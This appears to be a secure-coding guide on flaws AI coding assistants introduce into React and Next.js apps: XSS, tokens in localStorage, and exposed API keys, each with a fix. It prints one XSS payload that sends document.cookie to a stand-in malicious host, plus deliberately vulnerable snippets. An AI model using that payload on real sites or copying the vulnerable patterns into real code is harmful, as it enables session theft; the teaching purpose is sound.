"I was doing a pull request audit last Tuesday on a new payment ledger dashboard."
Our junior developer had prompted Cursor to "render the transaction description HTML returned by the invoice webhook." The AI-generated code looked clean and concise, but it was using dangerouslySetInnerHTML directly on the raw webhook payload. A simple XSS payload could have allowed any malicious merchant to execute scripts in our dashboard and exfiltrate user session keys.
AI coding assistants (like Cursor, Copilot, and Windsurf) are great for speed, but they prioritize code that is immediately functional over code that is secure. They often replicate insecure patterns found in public code repositories, leading to common vulnerabilities like Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), and API endpoint leakage.
If you treat AI output as secure by default, you are introducing vulnerabilities into your system. This guide walks through the exact security pitfalls AI assistants create, provides code-level comparisons, and explains how to secure your React and Next.js applications.
02. The XSS Injection Trap: Unsanitized HTML Rendering
When asked to display HTML content, AI assistants often write code that bypasses React's built-in escaping mechanisms using dangerouslySetInnerHTML without sanitization.
Insecure AI Suggestion
This is typical AI-generated code to display transactional notes containing basic rich-text HTML:
function TransactionNote({ notesHTML }) {
// Vulnerable: Directly rendering unsanitized HTML
return <div dangerouslySetInnerHTML={{ __html: notesHTML }} />;
}
If an attacker inputs a note containing an image tag with a broken source and an inline script error handler, it executes immediately:
<img src="x" onerror="fetch('https://malicious-domain.com/steal?cookie=' + document.cookie)" />
Secure Implementation
To resolve this, you must explicitly sanitize the HTML on the client side using a trusted sanitization library like dompurify:
import DOMPurify from "dompurify";
function TransactionNote({ notesHTML }) {
// Secure: Sanitizing input before rendering to strip scripts and event handlers
const sanitizedHTML = DOMPurify.sanitize(notesHTML);
return <div dangerouslySetInnerHTML={{ __html: sanitizedHTML }} />;
}
03. LocalStorage and CSRF Flaws: Authentication Hijacks
AI assistants frequently recommend storing JSON Web Tokens (JWTs) or session keys in localStorage because it is easy to implement. However, if your application suffers from an XSS vulnerability, any script running on the page can access localStorage and steal the user's session.
Insecure AI Suggestion
The AI suggests this simple login handler and request interceptor:
// Insecure Login Handler
async function handleLogin(credentials) {
const res = await fetch("/api/login", { method: "POST", body: JSON.stringify(credentials) });
const { token } = await res.json();
// Vulnerable to XSS theft
localStorage.setItem("authToken", token);
}
// Insecure API Fetch Wrapper
async function fetchSecureData(url) {
const token = localStorage.getItem("authToken");
return fetch(url, {
headers: { "Authorization": "Bearer " + token }
});
}
Secure Implementation
Move sensitive tokens out of reach of client-side JavaScript. Instruct your API to set an HttpOnly, Secure, and SameSite=Lax (or Strict) cookie. This prevents client-side scripts from reading the cookie value.
To protect against Cross-Site Request Forgery (CSRF) when using cookies, implement anti-CSRF headers for all state-changing requests (POST, PUT, DELETE):
// Secure API Fetch Wrapper with anti-CSRF custom headers
async function fetchSecureData(url, method = "GET", body = null) {
// Read CSRF Token from cookie metadata (safe to access via JS for header injection)
const csrfToken = getCookie("XSRF-TOKEN");
const options = {
method,
headers: {
"Content-Type": "application/json",
// Protects cookie requests from malicious cross-origin execution
"X-XSRF-TOKEN": csrfToken
},
credentials: "same-origin" // Ensures session cookies are sent
};
if (body) options.body = JSON.stringify(body);
return fetch(url, options);
}
04. Data-Fetching and API Endpoint Leaks
AI assistants frequently expose backend API endpoints, secret credentials, or administrative URLs directly in your client-side components. Next.js environments use environment variables to segregate sensitive data, but AI engines often mismatch these scopes.
Insecure AI Suggestion
Here, the AI exposes a private API key in a client-side component, exposing it to any visitor's browser:
// client-side component (use client)
export default function WeatherWidget() {
// Vulnerable: Exposing private key to the browser network tab
const apiKey = process.env.NEXT_PUBLIC_WEATHER_SECRET_KEY;
useEffect(() => {
fetch("https://api.weather.com/data?key=" + apiKey)
.then(res => res.json())
.then(data => console.log(data));
}, []);
return <div>Weather Widget</div>;
}
Secure Implementation
Never prefix variables containing secret keys with NEXT_PUBLIC_. Keep them strictly server-side, and fetch weather data through a Next.js API route that acts as a secure proxy:
// app/api/weather/route.js (Runs strictly on the server)
export async function GET() {
// Secure: Secret key is never sent to the browser
const apiKey = process.env.WEATHER_SECRET_KEY;
const res = await fetch("https://api.weather.com/data?key=" + apiKey);
const data = await res.json();
return Response.json(data);
}
// client-side component (use client)
export default function WeatherWidget() {
useEffect(() => {
// Fetch via the secure proxy endpoint instead
fetch("/api/weather")
.then(res => res.json())
.then(data => console.log(data));
}, []);
return <div>Weather Widget</div>;
}
05. Dynamic Code Audit Checklist
To ensure your team uses AI assistants safely, implement a strict verification process. Treat every line of code generated by an AI assistant as if it were written by an untrusted junior developer.
Auditor Checklist for AI-Generated PRs:
- Audit dangerous methods: Search for any instances of
dangerouslySetInnerHTMLor raw inline event listeners. Ensure inputs are sanitized. - Inspect storage hooks: Verify that no authentication details, authorization tokens, or user profile records are stored directly in
localStorageorsessionStorage. - Check API variables: Ensure no environment variables containing keys or database connection credentials are prefixed with
NEXT_PUBLIC_. - Audit origin and credentials: Make sure state-changing fetch wrapper calls configure headers correctly and prevent cross-origin scripting execution.
06. The Security Verdict
AI coding assistants are incredible tools for boosting developer velocity, but they are not security experts. Using their suggestions directly in production without human oversight is a significant risk.
Maintain a **zero-trust approach** to AI-generated code. Review diffs line-by-line, run automated static analysis (SAST) checks, and enforce clean coding conventions.
To check if your code handles variables and inputs securely, explore our [INTERNAL LINK: frontend coding challenges], or join our [INTERNAL LINK: React Masterclass learning path]. You can also book [INTERNAL LINK: 1:1 expert mentorship sessions] with our senior engineers to audit your codebase security.
07. Frequently Asked Questions
Why do AI assistants write insecure code?
AI models are trained on vast datasets of public code, which historically contains insecure patterns. They prioritize producing code that runs instantly with minimal configuration, often omitting security-focused steps like sanitization or token checks.
Is dangerouslySetInnerHTML always unsafe?
Yes, it bypasses React's default sanitization rules. If you must render raw HTML, you must sanitize the input string using a validated library like DOMPurify before passing it to dangerouslySetInnerHTML.
Can I configure .cursorrules to enforce security rules?
Yes. You can add specific rules to your project's .cursorrules or .copilotrules configuration files, instructing the AI to never use localStorage for JWT tokens and to always import DOMPurify when rendering raw HTML.